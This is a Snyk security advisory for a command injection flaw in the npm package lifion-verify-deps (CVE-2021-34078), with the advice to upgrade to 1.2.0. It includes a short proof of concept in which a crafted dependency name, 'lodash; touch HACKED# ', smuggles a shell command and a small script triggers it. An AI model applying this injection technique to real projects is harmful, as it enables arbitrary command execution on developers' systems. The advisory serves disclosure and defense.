Command Injection Affecting lifion-verify-deps package, versions >=1.1.0 <1.2.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.33% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-LIFIONVERIFYDEPS-2859206
  • published6 Jun 2022
  • disclosed3 Jun 2022
  • creditAdar Zandberg

Introduced: 3 Jun 2022

CVE-2021-34078  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade lifion-verify-deps to version 1.2.0 or higher.

Overview

lifion-verify-deps is a Verifies that installed NPM modules are the latest currently available version.

Affected versions of this package are vulnerable to Command Injection via a crafted dependency name on the scanned project's package.json file.

PoC:

Create an NPM project with a package.json file inside and add an entry to dependencies:

  "dependencies": {
    "lodash; touch HACKED# ": "^4.17.20",
  }

Then, run the following poc.js:

const verifyDeps = require('lifion-verify-deps');
verifyDeps({ dir: '/my-project' }).then(() => {}).catch((err) => {})

CVSS Scores

version 3.1